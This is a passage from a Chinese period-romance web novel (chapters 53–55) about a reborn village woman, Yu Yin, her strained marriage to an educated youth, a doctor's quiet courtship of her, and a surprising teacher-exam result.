“你又不是不回家,怎么叫耽误了。”余阿娘说:“那你们当兵的结婚还少吗,要跟你这样的,恐怕不多吧。” “咱又不是不回家,姑娘选择你也是能理解的,你要不想直接结婚,咱们可以先处处看着,现在不是流行那什么,自由恋爱,先恋爱后结婚啊。” 余阿娘问余银,“那叫什么感情来着?” “培养感情。”余银道。 余阿娘一拍手,“对,就是培养感情,你们先处处人培养感情,然后再结婚。” 余金眼见这个话题是过不去的,只好随口应着,“等我下次回来再说吧。” 他对余阿娘和余银又补充道:“我没回来之前,不能替我先找好决定了。” 余阿娘刚想到这,就被余金点破,讪笑一声,“成,你说怎样就怎么样。” 但她在心里,依旧盘算着,趁着他松口,要赶紧给余金先定下来的事。 余阿娘心里一直悬着的事落了地,就拉着余银起身,笑着道:“你睡吧,我们回屋去了啊。” 余金点头,对着余银道:“我有点话,跟小鱼儿交代一下。” 余阿娘约摸着是让余银看着自己,瞪了余银一眼,道:“行吧,娘也不是不识趣的。” 余银收到余阿娘的眼神,等余阿娘走了后,极小声道:“我只能帮你看着,但估计阻止不了。” 余金点头,说道:“你和他,还想过下去吗?” 第53章 第53章想法动摇再动摇 说实话,余银自己也不知道。 她自己说也不清楚,以后到底该怎么办,她甚至有些自暴自弃的走一步算一步。 可走一步看一步至少也会随着心走,她有吗。 余银沉默,她回答不出来余金的问题。 余金原本只对余银有片面的了解,可经过这几天的相处,剛才余阿娘的那一番话。他才知道,他对游雾州说的那些话,太过理想化了。 他没有很全面的去考虑余银现在的处境,和当下环境对离婚女性的包容和接纳。 虽易嫁,可闲言碎语却是不容忽略的。 游雾州也确实是个很好的人,他身为丈夫,身为女婿,身为余家的一份子,这一点来,不管怎么说,余金都打心底承认。 如果不是那些身份问题,他会很安心的把余银交给游雾州,可那些问题也抛不开的。 余金一时间为自己做过的决定,有些为難了。 他輕叹口气,对着余银道:“算了,日子过的好不好,只有你自己心里头明白的。” 说完,接着他摆摆手,“回去睡吧,娘的话想听就放在心上,不想听就当没听过,你替我照顾着点娘。” 余银心里被他一提,乱糟糟的,也现下对余金的话也有心左耳朵进右耳朵出。 她抿了抿唇,“我知道了,那我回去睡覺了,你也早点休息,在外面注意身体。” 她说完,看着余金点头,也没讓他送,就在自己家里,就几步路,不至于在送到门口。 余银心不在焉地往后院走去,剛到后院,就碰到了紧绷着臉,一看就心情不是很美丽的游雾州。 还有旁边那为,看着游雾州心情不好,就笑的特别开心的周华言。 这几天余银也算看出开了,周华言有事没事就要过来招惹游雾州,非把人鬧得臉黑沉沉的。 这就算了,明知道游雾州也不是个吃亏的,他自己也落不到好,也是被游雾州气的臉色也難看,却还有事没事的招他。 余银可不想被无辜牵扯,当作没看到,腳步放的輕輕的,装作没事人一样从旁边绕着走。 “妹啊,跟你哥聊完了?”周华言眼尖的看到余银,微微挑眉道。 余银乖巧的看着他,点点头,打了声招呼,“华言哥。” 说完,她就继续准备往前走,可惜,周华言不准备放过她,准备拿她继续刺激游雾州。 “小鱼儿,来过来啊。”周华言朝她招 手过去。 这两天已经放晴了,晚上的月亮又大又亮,都不用照灯了。 余银抬头望了一眼那月亮,在心里默默叹了口气,硬着头皮上前,“华言哥,有什么事吗?” 周华言摸了摸下巴,虽是对着余银说话,但眼神却时不时瞄向游雾州,“我们明天是要去华锦家,你明天有事吗?” 果不其然,他说完这话,就看到游雾州漆黑的瞳孔霎时一缩,冰冷的眼神似寒刀一样刺向他。 那眼神还挺有压迫感的,周华言将剩下的话咽进肚子,他迎着那目光,回了个挑衅的眼神。 余银不好接他这话,游雾州还在那,况且她和周华锦也没有什么不好对人说的。 这突然被他这一提,游雾州要是误会她给绿帽子怎么办。 余银现在一个头两个大,她揉了揉眉心,说道:“华言哥,我突然想起来,我哥讓我回屋的时候,顺便叫你过去呢。” 周华言虽然怀疑,但是余金真叫假叫,他也当真了,大手一挥,转身前道:“成吧,我先走了。” 余银松了口气,微垂着的脑袋进屋了,这期间一个眼神都没递给过游雾州。 游雾州看着她的背影,心里说不出什么滋味来。 总之是不怎么好受的。 他想叫住余银,可又不知道怎么开口了,嘴巴张了又张,却怎么也发不出来音。 余银没有再想太多了,她也考虑了余阿娘和余金的话,日子到底是自己过的。 好不好过,想不想过,她要想好啊。 可是老天好像总是爱给人出一些意外和考验来。 余银这边考虑了,游雾州那边却没了动靜。 一个人一直朝另一个走,有回应倒也好坚持,可一直没有回应的前提下,谁叫不好保证,能一直坚持下去。 余银只有思想上的摇摆,却从未表达或行动过,游雾州又不能猜到她的心思。 两个人陷入了一种更为诡异沉默的状态中。 不说话,肢体上也有什么接触,虽然按部就班的,给余银打洗澡水,洗衣服,晚上睡觉还是盖着一床被子,搂在一块睡。 可是就是不一样了。 甚至連王桂香和虎丫她们也察覺到了,实在是太过于明显了。 余家这几天都特别的安靜,余金前腳剛走,后腳还没来得及傷心,可能是为了照顾两人的情绪,連一向鬧腾的虎丫都安静了不少。 这下整个余家都陷入了一种诡异安静的状态下。 余阿娘覺得上次可能没说明白,私下趁着吃完饭时间,找了个讓余银给她穿针的借口,带着进了自己的屋。 一进屋,还有王桂香也在那坐着。 余银坐在她倆对面,有种被问话的错觉。但也不是错覺了,就是来问话的。 余阿娘和王桂香互相看了一眼,又同时看向余银。余阿娘先开口,她嘴唇动了动,说道:“余银,你和小游怎么了最近。” 王桂香点头附和,“小鱼儿,你倆是不是鬧别扭了啊。” 余银把手放在腿上,无意识地绞着,“没有。” “上次跟你说的,都白说了?”余阿娘想起高音,可能是害怕被听到,又压低声音,“我讓收收性子,难道是害你啊,夫妻间哪有过不去的,我问问你。你哥才剛走,你就马不停蹄给我找点事,生怕我为你操心操太多了是不是,觉得我偏心了。” “姐,先别说孩子。”王桂香看了余阿娘一眼,轻声对余银道:“夫妻间哪有不闹别扭的,只是你倆一直太好了,这突然闹起别扭来,你娘紧张过头而已。” 余银半垂着头,眼皮也微垂,叫人看不到她在想什么,“不算闹别扭,你们别我俩操心了,真没事,过几天就好了。” 她说这话时,心里一点底都没有,可也要装作很有底的样子里。 不说余阿娘她们了,她自己也烦得厉害,这几天都没休息好。 心里乱糟糟的,也是来不及傷心余金要走,就被他俩之间的气氛,给堵在心间,叫人平白也想不了其他事。 甚至和周华锦的事,再也没思考过一次。 余阿娘一听她说话着,就没由来的气,压着声音和怒气,“那我上次是怎么跟你说的,前腳刚说完,后脚你俩就都让人看出来闹别扭了。小游那么和气一男人,我上次说完,你跟就他服服软,还至于跟现在这样似的不。” 余银一听这话就头大,也来了些脾气,“凭什么让我低头,他的男人他了不起啊,我哪点对不起他,能过过,不能过拉倒吧。” 这话一出,王桂香和余阿娘顿时變了脸。 王桂香赶紧看了眼门窗关着没,余阿娘张着嘴有些不敢相信余银说了什么话。 她指着余银的手有些哆嗦,“你,你再说一遍,你刚才说的话。” 余银心里烦躁不已,也有些后悔刚才脱口而出的话,她用手搓了搓眼皮,“真要过不下去就算了,咱们还能强求人家不成。” “啪”的一声,轻脆的巴掌声响起。 余银和王桂香就瞪大了眼睛,不可置信的看着余阿娘。 余阿娘眼眶红着,摇着头,坐在凳子上的身体有些颤抖,她说,“怨我,怨我啊,都怨我。” 说着,手在脸上摸着眼泪。 王桂香对于这个大姑姐的印象,一向是心气极硬的,像一颗顽石一样的存在,身为女人,她一直打心里佩服余阿娘,也尊重她。 大姑姐余阿娘早年父母死的早,她自己带着小很多岁的余阿舅,嫁了个地主家三房夫人的弟弟。后来她男人死了,婆家又不喜还正赶上她刚生完余银,连月子都没坐,就被赶出家门了。 现下的她,谁不说她一句有福气,弟弟是队长,儿子又在部队,女儿也嫁了有能耐的。 可是谁知道她那些年怎么过来的,她吃过的那些苦,却是旁人一句有福气就掩盖的。 王桂香没见过余阿娘这样悲痛的伤心过,带着点悔恨。 余银也没有见过她娘这样,心下也是一阵涩痛。 她宁愿那一巴掌,打在了她的脸上。 她很后悔,后悔她刚才的口不择言,也后悔自己没再坚决的拒绝这门婚事,也后悔自己。 为什么没在河里淹死算了。 这样的话,余阿娘最多伤心她乱跑掉里面。 她也不想看到余阿娘那怨悔的神情,她觉得她没把余银教好,她不认为余银做错的。 因为错都在余阿娘自己,是她自己把余银變成现在这副模样。 余银心里难受,她轻轻叫着余阿娘,“娘,不是的,不怨你,是…” “确实是你做错了也说错了。”余阿娘眼泪往下无声的滑着,说道:“可说一千道一万,你是我的女儿,总归都是怨我。” “余银,是我明知道那个江窈是个心思多,且不用正道上的,却还是放任你和她在一起玩。是我明知道你喜欢小游,他娶你也是因为你是故意落水里,我视若无睹,还逼着他娶你。是我明知道你见到小周医生后,心里有了些小心思,也依旧放任不管。” 余阿娘边说边抹眼泪,“余银啊,是我没把你教好,却还在明知道你要犯错时,也从不拦着你,你和小游现在这样,也都怨娘。” “不是,不是,”余银摇着头,哽咽的说:“不是这样的,娘,我。” 她也说不出来那句她和游雾州不会过不下去,因为知道两个人的结局,可又面对余阿娘,却说不出口了。 王桂香也抹着眼泪,拍了拍余阿娘的肩膀,安慰道:“孩子还小,说的都是气话胡话,姐你跟她较真儿干啥,俩孩子还好好的,日子也长着呢,你不还等着抱孙子,怎么会过不下去呢。” 余阿娘红着眼看余银,似乎是在等她点头,给一个承诺。 余银是昧不下心去,她咬着唇,嘴角露出一抹苦涩的笑意,“娘,我晚一会儿就跟他服软道歉,成不。” 余阿娘嗫嚅着唇道:“你和小周医生是真有缘无份,你听娘一句话,小游是个 能耐的,你眼光放长远些,以后会大有作为的啊。” 她以为余银见着周华锦的家境不错,才生出心思,对游雾州挑鼻子挑眼的。 其实不然,余银不是眼皮子淺薄的人,她早就知道游雾州以后会大有作为。 早在她见到游雾州的第一眼时,就知道,他和这里格格不入,却又实实在在地站在这里。 就像是一只精致名贵的品种蝴蝶,不下心落入了村子的野花上。 他早晚要飞走的。 余银不好跟余阿娘说,也确实经过了她这一句话,也知道她和周华锦有缘无份。 她想,如果不是去看病,她可能再也碰不到周华锦了。 毕竟谁又愿意有事没事去医院呢。 余银这么想着,直到余阿娘和王桂香絮絮叨叨的声音停下,跟她说:“余银,小游是个好的,好好过日子,以后不会亏待你的。” 余银笑了笑,又垂下头去,让人察觉不到,她的笑有多勉强。 不会亏待她,还真是不会亏待她啊。 余家一家没一个好下场的。也不知道她这次能不能改变一点的。 余银轻笑着,摇了摇头,对于未来,她有些生不出期待……- 余银不想让余阿娘担心,晚上吃饭的时候,她想给游游雾州夹个菜,可又害怕游雾州被她勉强。 她夹菜游雾州肯定会受着,因为家里还这么多的人在,他不会让她下不来台。 余银夹着菜停顿了很久,最终筷子放回了自己的碗里。 她想,还是晚上就两个人的时候,再主动示好吧。 可是要怎么做呢,余银想着。 她们为什么生气,她也记不清楚了,总之是因为她拿脚的事发作的。 余银脸有些烫红,她看着盆子里的水,沉默了一瞬,把脚放进去,好好洗了洗。 等吹了灯,到了床上,余银在他躺下来的那一刻,感受到他洗完澡带着的点涼气。 这在夏季的晚上,是最让人很难忍住不靠近的存在。 余银是怕热的,但是她又不能用涼水洗澡,所以这些天,游雾州晚上抱着她,也从来没有拒绝推开过。 余银等着游雾州再过来抱她,然后她再开口说些什么。 可是等了一会儿,也没见身边人有什么动作。 余银翻了个身,由平躺改为侧躺,面对着他,她睁着眼睛,看着游雾州在黑夜里依稀能看到些的轮廓。 余银看了一会儿,见他依旧闭着眼睛,借着点那外面月光带进屋内的朦胧光线,她视线向下,看到了游雾州的双手放在腹前。 她脸颊微微发热,咬着唇内的软肉,找准位置。 余银抬着脚放了上去,就听到一声沉闷的喉音。 脚下是难以描述的软乎乎触感,她觉得这个触感,要是在手里把玩着当玩具,她估计会爱不释手。 但,当然,她的脸皮太薄了。 是做不出,拿着当玩具把玩着的。 “我今天脚的很干净。”余银抿着唇,闷着声音道。 在余银话落后,静谧的屋内,只能听得到清清淺浅的呼吸声。 游雾州心中微微荡漾,他没移开脚,她也没移开。 他努力控制住渐重的呼吸,就在余银有些以为他睡着了,而刚才的那一声响,是她的幻听时。 就被游雾州一个转身,朝着她压了过来,紧接着,唇上就落了一个微凉却又滚烫的吻来。 余银眼睛还在睁着,被他突然的动作,弄的有些不知所措。 她的反应有些迟钝,只能顺从着,任由身上伏着的男人吻着自己。 早在翻身对着他的那刻,脑海中那根弦的理智,就快要被自然断裂了,而摇晃着苦苦支撑。 游雾州咬着她的唇,唇齿相碰,一连多日未曾触碰过,他喉间不自觉溢出些暧昧声响。 气息逐渐变得灼热,那微凉的唇瓣,也变得越来越热。 但他并没有加深,只是唇瓣和唇瓣碰着,浅尝辄止后又很快收回了。 游雾州双手撑在她侧边,喉结滚动,然后默默躺下去了,他声音听不出情绪,只是气息还有些紊乱:“睡觉吧。” 屋外月光皎洁,借着带进房间微微的月光,她除了能感受到身旁男人紧绷着身体,也能看到男人紧紧抿住的唇,以及他强忍的样子。 余银微微攥了攥手,又松开了。 算了,还是慢慢来吧,她想。 毕竟一连快半个月,俩人都没亲密接触过,矛盾也还没彻底说开呢。 再等等吧,她想,反正她也主动了,余阿娘那里她也好交差。 可就在余银和游雾州之间,这晚才刚有了点主动破冰后。 余银就碰到了一个她意想不到的人。 她原来的想法,也开始动摇了,甚至有了更明确的方向。 第54章 第54章余银引狼入室 夏季烈日炎炎,余银受不了这般热,但凡踏在没有被遮盖的阴凉处,那強烈的陽光刺眼的落在周身。 就是这样很热的一天,他却如泉水般清清凉凉的出现在余银面前。 “余银。”周华锦嘴角挂着清浅的笑意。 余银有一瞬间的茫然,随即很快反应过来,同他打招呼,笑着道:“周医生。真巧啊。” 周华锦上前一步,却与她隔着正常交际的距离,“不巧,我这次是特意过来找你的,余银。” 他说完就这么看着余银,那双眼眸里似乎有千言万语要说。 余银对上他的眼神后,就飞快地移开眼去,左右看了看,见没什么人,心里松了口气。 她装作没听懂,笑着说:“是来找我阿舅的吧,我阿舅好像在大队,带着他们商量着补苗的事。” 周华锦也不勉強她,輕笑一声,“我不是来找余队长的,我只是来确認一下我的想法,见到你。” “我想我还是要坚持下去的。” 在周华言临走的时候,跟他说了,余银可能会和游雾州离婚的。如果他真的喜欢余银,先認清内心,再去说服他的父母,才可以追求,但不要越界。 他这次来,就是完完全全考虑好了,他是真的喜欢余银,这些天不见他,他整个人都不好。 周华锦说完,自顾自笑起来,声音低低的:“都说有缘无份,可缘分也并不是靠天定。” 他唇角微微笑起,柔和的眉眼也泛起了涟漪,那双在陽光照射下,浅棕的眸子里有看得见的柔情。 余银微咬着唇,问他:“你从县城过来,不是来下队看病的。” 周华锦噙着笑,摇头道:“不能给你添一些不必要的麻烦,我见你一面就够了。” 说完,他倒退了两步,然后转身骑着他停在旁白的自行車就离开了。 他就是过来见她一面。 余银说不出什么感觉,心底那些被隐藏的想法,又在被慢慢牵扯着出来了。 他们之间有缘无份,可现在他做的事情,不就讓他们之间开始有了缘分- 因为种完地之后下过雨,玉米苗还没上出来的时候,小麦苗就一茬接着一茬地,把玉米苗都给掩盖住了。 这些天都在地里拔草,拔小麦苗,在把哪里没长出来的玉米苗,给补一补,把长得多的地方在拔一拔。 这大夏天的地里幹活,又容易中暑,基本上每家每户中午去地里幹活前,都会熬点绿豆汤解暑。 绿豆他们村里也种,不用花錢,也都能喝的起。 余银的劳动力不是特别强,在下午休息时间,她回家去把放凉的绿豆汤端过来。 她给余阿娘他们送完后,还要过去给余阿舅们送,路上还碰到了好几个跟她一样去送绿豆汤的。 不过就在她在他往余阿舅们干活的那邊路上时,却被一个讓她觉得陌生又熟悉的人叫住。 “你好,同志。”女人声音透亮。 余银回头望过去,女人的头发梳着两个光溜溜的辫子在胸前,只是她的头发有些发光枯燥,虽然看起来身形干瘦,臉上也面黄肌瘦的臉,但一双眼睛却异常发亮,看起来一点也不 似印象里的畏缩。 余银认识她,柳盼娣,只是看起来很不一样了,和记忆里她似乎不太一样了。 她微微皱了下眉,回想起上一次见面,也记不太清什么样子,柳盼娣不是个能给人印象深刻的人。 柳盼娣看到是她,眯了眯眼,看向她怀里的茶壶和杯子,輕声道:“余银,是你啊,这是去给你家男人送温暖啊。” 余银对上她的臉,人家都跟她打招呼了,她自然也要回过去的,便笑着道:“是啊盼娣姐,天气热中暑了就不好。” 柳盼娣看了余银一眼,一步一步凑近余银。余银被她这一举动惊到,脚步不自觉地后退。 她退了两步,就拧着眉不动,语气不是很好:“盼娣姐,你这是做什么。” 她跟柳盼娣无冤无仇的,这怎么跟脑子有病了一样。 柳盼娣輕笑,“哎呀,不好意思,我就是看你头上落了个东西。” 说完,手朝着她头上去,不知道捏到东西没,她甩了下手就放下了。 余银抿了抿唇,说:“我还要去给我阿舅送绿豆汤,就先不跟你聊了。” 她心里下意识地,有些不想同柳招娣打交道,扭头就要走。 却被柳盼娣拉了一下,弄的她手里的茶壶差点摔了。 余银这下脸色很难看,冷着脸看向柳招娣。 柳盼娣上下打量着她,有些不屑的道:“得意什么呢,你也就还有一年能看的过去的日子了。” 余银不喜欢她那打量的眼神,也不喜欢她的语气,但对于她怎么知道还有一年,她心里还有些疑惑。 余银掀眸淡淡地看了她一眼,带着点居高临下和轻蔑。 这是她和游雾州学的。 这眼神也成功刺激到柳盼娣,她冷笑一声,眼神里迸射出恨意:“余银,珍惜吧,好好珍惜你和你的家人吧,没多少能相处的日子了。” “你还真是被猪油蒙了心啊,引狼入室,毁了你一家的,也是你亲自带回来的,同床而眠的枕邊人。” 余银心口猛地一突,她似不解:“你什么意思,毁了谁家,我为什么引狼入室了。” “没什么意思,就是见你太可怜了,提醒提醒你罢了。”柳盼娣轻飘飘地说着。 她说完直接走了,朝着一条小路走过去,那路的方向是往水塘邊走的。 余银见她走了,脚步也没停留的往前走去。 她的眉头紧锁起来,猜测柳盼娣是不是跟自己一样,也是死而复生的,还得知了自己是在一本书里。 不然怎么知道这么清楚,自己的結局。 柳盼娣说的那些话,真的是如她所说,是提醒余银吗。 余银觉得她有点莫名其妙,她虽然不知道柳盼娣是不是个有善心的人,但她和江窈走的很近,余银可记得清清楚楚。 而且她刚才看起来,实在有些精神不正常的样子,余银决定以后见着她绕道走。 不过她们之间隔着王大花,也应该不会再有什么交集了。余银去给游雾州和余阿舅送了绿豆汤。 正巧听见余阿舅再问游雾州,“明天考试,你今不上工也没什么,还能在屋里多看看书。” 游雾州笑了笑,说:“都在看书,活都没人敢了,我来了,还能替你分担点。” 余阿舅似是叹气,“可毕竟考老师重要,干活也不缺这一天。” 余银看了一眼四周,果然少了许多知青点的人,她走向前,把茶壶和杯子放下,揉了下腰,“先喝点绿豆汤,解解暑气。” 又问道:“今天不来的人很多吗。” 因着女知青不是特别多,余银也没发现,这会儿一看,发现确实少了很多人。 她弯下身子倒着绿豆汤,刚倒了一杯,余阿舅就把那杯往游雾州那推去。 余阿舅给自己倒了一杯子,端着就喝了一大口,“不止咱们村,附近好几个村子都是,要考试的知青们通通今天没去上工。刚才我还劝小游,也回去看看书,这又不算是特例,就他实诚。” 游雾州也不客气,端着那杯也喝了两口,手里拿着帽子扇着。他说道:“你们都在地里忙活,我在屋里歇着看书,那多不成啊。” 余阿舅将杯子里的绿豆汤喝完,杯子往余银那一递,“那有啥事不成的,你要考上了,咱家还缺你这一天工啊。” 余银端着给余阿舅的添满后,她手里的壶没放下,游雾州也赶紧把自己杯子里的喝完,讓余银添满。 不等游雾州开口,余银就说:“你喝完回家看书吧,明天不就考试了,也该看看书好好休息一下,家里不缺你这一天工。” 她见游雾州看书不多,也可能是游雾州看书的时候,她不知道而已。 余阿舅也跟着道:“对对,你歇完就回家吧,好好看看书,明天就考试了。” 游雾州失笑着应下,他不说势在必得,但也不用逮着今天多看书,他还是有点把握的。 不过也不好说出来。 考试这天,余银送游雾州到门口,看到外面站着的柳盼娣和知青点的几人,愣了愣。 張朝阳笑着跟她打招呼,然后对着游雾州道:“咱都是去考试的,凑个伴一起去。” 游雾州微微蹙眉,点了下头。 余银看了眼柳盼娣,就飞快移开视线,她也去参加考试? 她知道这次参加的人很多,每个村子都早早的把名字報上去了,本来是招一个老师,但報名的太多了,后来就商量,招两个代理的老师,一个正式的老师。 杨柳村知青点的人也并不是全去,余阿舅讓他们自己内部商量,最后就報上了五个名额,不过杨柳村的名额上,竟然还有一个意想不到的人。 柳盼娣也去参加这次考试。 此刻的余银是惊讶的。 余银是知道柳盼娣是个几斤几两的,不是她自恋,她俩之间,她决对是考试要好一点的那个,毕竟她也读了高中。 報她名字的时候,余阿舅还同游雾州说过,她只有小学的学历,而且连小学都没上完。 报了她名字又怕丢人,不报又怕打击她的积极性。 游雾州当时还不知道粮仓发生的事,劝余阿舅把柳盼娣名字报上去了,但可以瞒着。 余阿舅也怕到时候真考的不行,柳盼娣再被人嘲笑,报她名字的时候没让其他人知道,余银也不知晓。 然后柳盼娣去参加考试,瞬间再村子里沸腾开了。 不少人都是看笑话的…… 考试是要考一天的,他们都是带着午饭去的,下午考完试才能回去。 等到他们考试完回来,村子里的人也都下了工,一群人都围到村口去,等着看柳盼娣。 “哎呀呀,王大花这个闺女了不得啊,能去考老师了,哈哈哈哈哈。” “龙生龙,凤生凤,那老鼠生的崽儿生来就会打洞,咱这大花的闺女,是个能耐的啊。” “那你可不,大花是谁啊,方圆几里,谁不知道她是个能耐的,能一下生两个男娃娃啊。” “回来了,回来了。” 游雾州,柳盼娣和江窈知青点到几人,一到村口就被人挤着围上去。 游雾州虽然预知到看热闹的人特别多,但还是微微有些诧异,他从人群中往外挤出去,走到正往里看着的余银身边。 “走吧。”游雾州轻声道。 余银见他过来,也没垫着脚往里看,手要后腰上抚着两下,笑着问他,“考得怎么样啊。” 游雾州瞥了一眼围着的人群,他将手揽在余银肩膀上,笑着道:“还成,跟我预期的差不多。” 考试結果是第二天才出来的,余银见他神色轻松,点着头道:“那就成,不过你也别太有压力,阿舅下次给你安排个其他活,就只有你知道的。” 游雾州垂眸看她,“嗯,等明天結果出来再说。” 余银侧过身子,整个人在他臂下,仰头八卦道:“我刚刚挤半天都没看到柳盼娣,你跟她一块回来的,你觉得她考的咋样了她考完试什么脸色啊?” 游雾州想了想,他不是个有事没事 就观察人的,这个柳盼娣身上疑点太多,他今天还特意留意了一下。 每场考完试后,柳盼娣的神情什么样。 他跟余银说:“看起来倒是挺胸有成竹的,估摸着考的不错。” “真的假的?”余银惊道:“你们考试難不難,她都能考的不错,早知道那我也去了。” “那下次招老师了,你就报名去试试,”游雾州想了一下卷子难易程度,他漫不经心地说:“張朝阳他们几个考的估摸着不太好,路上找我对过答案后,脸色不太好。” 余银一听张朝阳他们都没考好,那柳盼娣倒考的挺好,她更疑惑了,“怎么会呢……” 那柳盼娣,她临死的时候,也没听说,不对,那本书里写的是柳盼娣不是柳盼娣,是另一个人。 难怪她觉得现在这个柳盼娣,有些陌生又熟悉。 柳盼娣身体里也换了条魂来,那估计她还真有可能考的不错。 见余银低着头不知道想什么,游雾州解释说:“其实这次可能是人太多,题出的比较杂,张朝阳他们很久没看过书了,考得不好也是正常。” 余银回过神来,心不在焉的说:“哦,这样啊,咱们回去吃饭吧。” 回到家,余阿娘见到他们回来,笑嘻嘻地说:“小鱼儿,娘和你说,你不知道今天王大花那张脸啊,那叫一个难看啊,啧啧啧。” “她咋那么能耐啊,叫她女儿也去考试,是去丢她的脸,还是丢人大丫的脸啊。她咋不让她那俩小祖宗去考试,看能不能给她考个老师回来,不是整天挂嘴边,她的儿子是人中龙凤。” 余银知道余阿娘是在埋汰王大花和那俩小儿子,捂着嘴笑道:“娘,那俩人中龙凤是指望不上的,但是我可能游雾州说,人柳盼娣,好像考的不错。” “呦,真的呐。”余阿娘唏嘘着,“她不是小学都没上完吗,早知道让你阿舅给你也报上名了,好歹你还读了高中。” 余银弯了弯眼睛,摇头道:“我不成,我那都是勉勉强强读完的,要是真让我运气挺好的,做了老师,去教学生,我啥都不会,那不就是啥,吴什么弟弟。” 游雾州在一旁接下那句话,“误人子弟。” “对,误人子弟。”余银道:“我几斤几两,心里还是有数的。” 余银怕她娘太开心,准备提前给她娘打打预防针,“娘,游雾州说他们对过答案后,知青点那几个知青考的不怎么样。但是人柳盼娣,好像真考的不错。你先别去王大花那嘲讽,她要考上了,王大花要多神气啊。” 听了这话,余阿娘撇嘴不屑道:“那你可看错王大花了,不了解她是个啥人。” 她看了一眼王桂香道:“这柳盼娣要真考上了,你瞧着,且有的闹呢。” 余阿娘卖着关子,不告诉余银为什么,只说让她等着柳盼娣的结果出来就知道了。 不过余银大概猜了一下,可能就是王大花估计要把柳盼娣收拾一顿。 毕竟今天很多人其实看的都不是柳盼娣的热闹,而是王大花的热闹。 实在是她平时太不把那个闺女当人看,还曾经要把柳盼娣说给老强子,那相当于给自己闺女送上死路去。 还是为了养那两个小儿子,尤其是妇联的人,还特意把村子里的人开了一场会,让他们最起码平等一点对待女孩和男孩。 虽然开了一场会,但依然没什么用,能听进去的只有本来就对女儿还可以的,听不进去的,依旧是对女儿不好的那些。她们认为这就是给王大花开的会,与其他村民们是无关的。 晚上吃完饭,天越来越热了,余银和游雾州躺着床上,扇着扇子聊着天。 因着饭桌上,余阿舅说等游雾州不管考没考上,都去買辆自行車,这样游雾州去学校也方便,平时他们去镇上开会買定西也方便。 余银想着余阿舅的话,跟他说:“咱们家要是買自行車的话,就用你给我娘的彩礼錢買吧,毕竟主要是给你去学校用的。” 游雾州扇着扇子,轻嗯一声,随意的说道:“不用,那不一样,就买个自行車,我这还是有的。” 听到这话,余银坐起来问他,“你身上还有錢,能买辆自行车?” 自行车要赶得上那彩礼錢了,游雾州语气就像是买个糖一样随意。 游雾州见她坐起来,也跟着坐起来,以为余银是怕自己钱不够,神色认真的说道:“身上的钱能买辆自行车。” “你怎么这么有钱。”余银道:“啊,不是,你,你到底有多少钱。” 她怎么说都觉得不对,“也不对,我是想说,你不是下乡来的嘛,怎么会有这么多钱啊。” 游雾州这个时候,应该是没人接济的才对。 余银又问他:“你家里给你寄钱了?” 游雾州轻笑:“没有,我来的时候身上还有点钱,虽然不多,但是也够了。” 他一直没和余银说过家里的事,余家没有一个过问,但也知道他家是有点成分问题的。 余银点了点头,继续躺下,然后又坐了起来。游雾州被她这一坐一趟的,有些不解,“怎么了,是还有什么事吗。” 余银咬着唇,小声道:“咱们只有钱,没有票啊!” 他们都忘记买自行车,要先有票的,自行车票还不好弄啊。 游雾州有些好笑,说道:“有钱就不是问题。” “什么意思?”余银歪了歪头,“没票有钱,人家也照样卖咱吗?” 游雾州凑近她,将她抵在墙边,小声在她耳边说:“那个地方有卖自行车票的。” 余银眼睛微微一亮,是啊,还有那个地方能弄到票的。 她跟游雾州咬着耳朵道:“那咱们好去吗?会不会被逮到了呀。” “不会,我自己晚上悄悄去,不让人发现。” “能行吗?那买回来咱们怎么解释啊。” “就说是大哥给咱寄回来的。” “哦,也是,大哥肯定也方便给咱弄自行车票,不对啊,咱们为什么不给大哥写信,让他直接去弄再过来,不去那危险的地方。”余银醒过神来说。 游雾州心里另有打算,他解释道:“那等信一来一回的太久了,而且还要让大哥欠个人情,我自己偷偷去那买回来,不是更方便一些。” “可那是投机倒把啊。”余银有些为难,“那被人逮到,你别说当老师了,你都要完了,还我们也要跟着完蛋。” “不会。”游雾州保证道:“我会很小心的,不会让人抓到。” 他们俩越说凑得越近,两个人跨对着跨坐着,余银的上半身紧贴着墙,游雾州的上半身倾向她压着,贴着肉。 “真的。”游雾州声音有些低哑:“你还不相信我吗,不会连累到你们的,放心。” 余银还在纠结,都没注意到腰间正有一双作乱的大掌,正想缓缓上移。 游雾州原本在她耳边小声说着话,后来就顺着她耳边往下去。 “啊,你在干啥。” “别想了。” “我保证完成任务。” “什么呀,这跟,哈,有,关系。” “余银,专心点。” 囫囵不清的话语和呼吸,逐渐代替了屋内的谈话声。 第二天出结果的时候。 中午,余阿舅和村长跟其他几个村子的,一起去学校拿结果的时候,都有些震惊和不敢相信。 第55章 第55章就该游雾州考上 余阿舅和村长还没说话,就听校长跟他们说:“你们村叫盼娣的多不多,有几个叫柳盼娣来参加的。” “盼娣挺多,来参加的就这一个柳盼娣。”村长诚实说,他又道:“真是我们杨柳村的柳盼娣?” 校长看了他一眼,“还就是你们村的柳盼娣,这統共就三个名额,两个都让你们村占了。” 见余阿舅和村长似是不相信,他问他倆:“是不是有什么事,还是这个柳盼娣有些不好说的问題。” 余阿舅和村长摇摇头,倒不是有什么问題,考上那两个都是有一点点问題的。 一个小学没毕业,稀里糊涂考上了,一个确实有实力,可惜是有点成分问題的。 两个还都是各自的一家人,他们誰也不好張口说。 那校长见他们没啥问题,就让他们赶緊帶着名单回去吧,别让等急了。 杨柳村的广播响起的时候,正是挑着大家都吃饭的时间,每家院子内都陷入了死一半的寂静。 他们没听错吧!柳盼娣? 知青点的气氛很不好,在听到是柳盼娣的名字后,有几个并不知道她是誰,还纳闷的问:“柳盼娣是何方人也,是咱们村的嗎,会不会搞错了啊。” 刘知青在一旁咬着牙说:“怎么不是咱们村的,游知青讲课题那两天,就是咱们江知青把柳盼娣,也帶着过来一起听的那位。” 知青点的人才瞬间恍然大悟,原来那个女生就是柳盼娣。 但又瞬间觉得不对,都把眼神投到江窈身上。 这人是柳盼娣帶来的,知青点的人都没考上,偏偏帶来的那人考上了。 而且村子里没听说过话,还有誰文化好。 而江窈眼神之中也是充满了不可置信——怎么会是她! 众人见她也不说话,不知道是谁说了句,“既然是江知青带来的人考上了,那还给咱分钱嗎?毕竟她也是听了游哥讲的。” 他这话一出,瞬间知青点的其他人也纷纷張口。 “就是,咱们让游哥回来讲题,那可是答应了要给钱的,她一个吃白饭的,现在考上了,那也是沾了咱们的光。” “谁说不是呢,虽说她不是知青,可毕竟也是蹭了咱们的,她还不一定能不能考上呢。” “万一人家就不给怎么辦,毕竟咱们是知青,那柳盼娣是村里的人。” 